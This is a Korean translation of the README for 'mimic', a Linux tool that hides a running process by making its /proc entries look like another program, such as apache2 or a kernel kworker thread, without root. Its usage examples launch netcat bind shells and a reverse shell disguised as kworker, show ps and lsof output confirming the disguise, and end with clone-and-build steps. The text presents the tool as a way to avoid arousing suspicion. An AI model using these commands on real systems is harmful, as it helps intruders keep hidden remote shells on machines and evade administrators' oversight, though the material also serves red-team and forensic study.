
_mimic_는 Linux x86_64에서 은밀 실행을 위한 도구입니다.
"은밀 실행"이란 무엇인가요?
은밀 실행은 프로세스를 숨기는 기술입니다. 이 경우 _mimic_은 프로세스를 눈에 띄지 않게 숨깁니다. _mimic_은 모든 프로그램을 실행하고 다른 프로그램처럼 보이게 할 수 있습니다. 모든 사용자가 사용할 수 있습니다. 특별한 권한이 필요하지 않습니다. 특별한 바이너리가 필요하지 않습니다. 루트킷이 필요하지 않습니다.
뭐라고요?! 특별한 권한이 필요 없다고요??
맞습니다. _mimic_은 프로세스의 내부 구조를 재배열하여 그 프로세스의 /proc 항목을 혼란스럽게 만듭니다. 프로세스의 특성을 보고하는 모든 도구는 /proc을 검사하여 그렇게 합니다. /proc을 조작할 수 있다면 프로세스를 눈에 띄지 않게 숨길 수 있습니다. 우리는 우리가 소유한 프로세스의 상태만 변경하기 때문에 누구나 _mimic_을 성공적으로 실행할 수 있습니다.
이것을 감지할 수 있나요?!
물론입니다, 하지만 아주 자세히 살펴보거나 이런 종류의 것을 찾는 포렌식 도구를 실행하는 경우에만 가능합니다. _mimic_의 유용성은 처음부터 누군가가 의심을 품는 것을 방지한다는 점에 있습니다.
스크립트에서도 작동하나요?
네, 하지만 인터프리터에서 mimic을 직접 호출해야 합니다. 예를 들어, 스크립트의 첫 줄이 "#!/usr/bin/perl"이면 _mimic_을 다음과 같이 호출해야 합니다:
empty@monkey:~$ mimic -e "/usr/bin/perl test.pl"
인터프리터를 직접 호출함으로써 mimic은 마법을 부릴 수 있습니다.
_mimic_의 대상 사용자는 누구인가요?
루트 권한을 획득하기 전에 합법적으로 은밀 실행이 필요한 모든 사람입니다. 여기에는 다음이 포함되지만 이에 국한되지는 않습니다:
왜 "mimic"이라고 부르나요?
"거짓말쟁이, 거짓말쟁이, /proc에 불이야!"가 너무 길었기 때문입니다.
"set_target_pid"란 무엇인가요?
set_target_pid는 mimic 제품군의 작은 도우미 프로그램으로, 원하는 pid가 돌아올 때까지 pid를 소진시킵니다. 이를 통해 프로세스 목록에서 프로세스가 위치할 곳을 선택할 수 있습니다. 커널은 처음 300개의 pid를 커널 스레드용으로 예약합니다. 그 아래로 내려가려고 하면 아마 pid 301로 실행될 것입니다.
usage: mimic -e COMMAND [-m MIMIC] [-b] [-a KEY=VALUE] [-q] [-h]
-e Execute COMMAND.
-m Setup COMMAND to look like MIMIC.
Default for non-root is: "/usr/sbin/apache2 -k start"
Default for root is: "[kworker/0:0]"
-b Launch COMMAND in the background.
-a Add / overwrite KEY to the mimic environment with associated VALUE.
-q Be quiet! Do not print normal output.
-h Print this helpful message.
Notes:
The MIMIC environment will be a copy of the COMMAND environment.
The '_' variable is automatically changed.
The -a flag can be called multiple times to add / overwrite multiple variables.
Examples:
mimic -e /bin/bash
set_target_pid 1 && mimic -e /bin/bash
mimic -b -e "./revsh"
mimic -b -e "nc -l -e /bin/bash"
mimic -b -e "nc -l -e \"mimic -e /bin/bash\""
첫 번째 예제 - 일반 사용자로 netcat 리스너 실행:
empty@monkey:~$ ./mimic -b -e "/usr/local/bin/ncat -l -e \"./mimic -e /bin/bash\""
Launching child... Success!
Waiting for child to attach... Success!
Initializing ptrace_do... Success!
Determining stack state... Success!
Politely requesting name change... Success!
Searching for main()... Success!
Building execution headers... Success!
Setting up final state... Success!
Good-bye and have a good luck! :)
empty@monkey:~$ ps aux | grep apache
empty 1931 19.5 0.0 16648 1324 pts/1 S 21:41 0:02 /usr/sbin/apache2 -k start
empty 1935 0.0 0.0 7596 836 pts/1 S+ 21:41 0:00 grep apache
empty@monkey:~$ sudo lsof -i -n -P | grep apache
[sudo] password for empty:
apache2 1931 empty 3u IPv6 14462 0t0 TCP *:31337 (LISTEN)
apache2 1931 empty 4u IPv4 14463 0t0 TCP *:31337 (LISTEN)
두 번째 예제 - root로 netcat 리버스 셸 실행:
root@monkey:~$ /home/empty/code/mimic/set_target_pid 1 && /home/empty/code/mimic/mimic -b -q -e "/usr/local/bin/ncat -e \"/home/empty/code/mimic/mimic -e \\\"/bin/bash\\\"\" localhost 9999"
가짜 kworker를 찾을 수 있나요? grep의 도움 없이도 찾을 수 있나요?
root@monkey:~$ ps aux | grep kworker | grep -v grep
root 18 0.0 0.0 0 0 ? S 19:39 0:00 [kworker/3:0]
root 197 0.0 0.0 0 0 ? S 19:39 0:06 [kworker/u:3]
root 198 0.0 0.0 0 0 ? S 19:39 0:06 [kworker/u:4]
root 199 0.0 0.0 0 0 ? S 19:39 0:06 [kworker/u:5]
root 302 23.4 0.0 18748 1912 pts/5 S 22:28 0:02 [kworker/0:0]
root 304 11.4 0.0 3780 296 pts/5 S 22:28 0:00 [kworker/0:0]
root 305 10.8 0.0 10644 1200 pts/5 S 22:28 0:00 [kworker/0:0]
root 426 0.0 0.0 0 0 ? S 20:20 0:00 [kworker/1:0]
root 434 0.0 0.0 0 0 ? S 20:20 0:00 [kworker/3:2]
root 536 0.0 0.0 0 0 ? S 20:12 0:00 [kworker/0:0]
root 879 0.0 0.0 0 0 ? S 20:39 0:00 [kworker/2:0]
root 1463 0.0 0.0 0 0 ? S 19:39 0:00 [kworker/1:2]
root 2132 0.0 0.0 0 0 ? S 19:47 0:00 [kworker/2:2]
root 2607 0.0 0.0 0 0 ? S 20:01 0:01 [kworker/0:1]
물론, kworker는 열린 소켓을 가져서는 안 되지만, 이보다 더 창의적인 이름 선택을 할 수 있을 거라 확신합니다. :)
root@monkey:~$ lsof -i -n -P | grep kworker
kworker/0 302 root 4u IPv4 20546 0t0 TCP 127.0.0.1:47054->127.0.0.1:9999 (ESTABLISHED)
kworker/0 304 root 4u IPv4 20546 0t0 TCP 127.0.0.1:47054->127.0.0.1:9999 (ESTABLISHED)
kworker/0 305 root 4u IPv4 20546 0t0 TCP 127.0.0.1:47054->127.0.0.1:9999 (ESTABLISHED)
여기서 root로 실행하는 이유는 kworker 스레드가 루트가 아닌 사용자로 실행되면 매우 의심스럽기 때문입니다. 새로운 mimic 이름은 단순한 문자열입니다. 기존 프로세스일 필요도 없습니다. 심지어 실제 존재하는 것일 필요도 없습니다!
empty@monkey:~$ code/mimic/mimic -q -e /bin/bash -m "Totally not a rootkit\!"
empty@monkey:~$ ps aux | grep rootkit | grep -v grep
empty 399 2.9 0.0 3780 300 pts/4 S 22:34 0:00 Totally not a rootkit!
empty 400 2.7 0.0 19372 2044 pts/4 S 22:34 0:00 Totally not a rootkit!
git clone https://github.com/emptymonkey/ptrace_do.git
cd ptrace_do
make
cd ..
git clone https://github.com/emptymonkey/mimic.git
cd mimic
make